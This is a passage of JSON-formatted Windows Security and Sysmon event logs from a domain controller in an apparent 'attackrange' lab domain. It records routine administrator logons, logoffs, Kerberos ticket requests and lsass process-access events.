11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221982,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x7FFFD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x7fffd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.587\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.587","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221983,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75B27\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75b27","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221984,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75824\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75824","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221985,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x7FFFD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x7fffd","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221986,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221987,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221988,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221989,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8005a","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221990,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 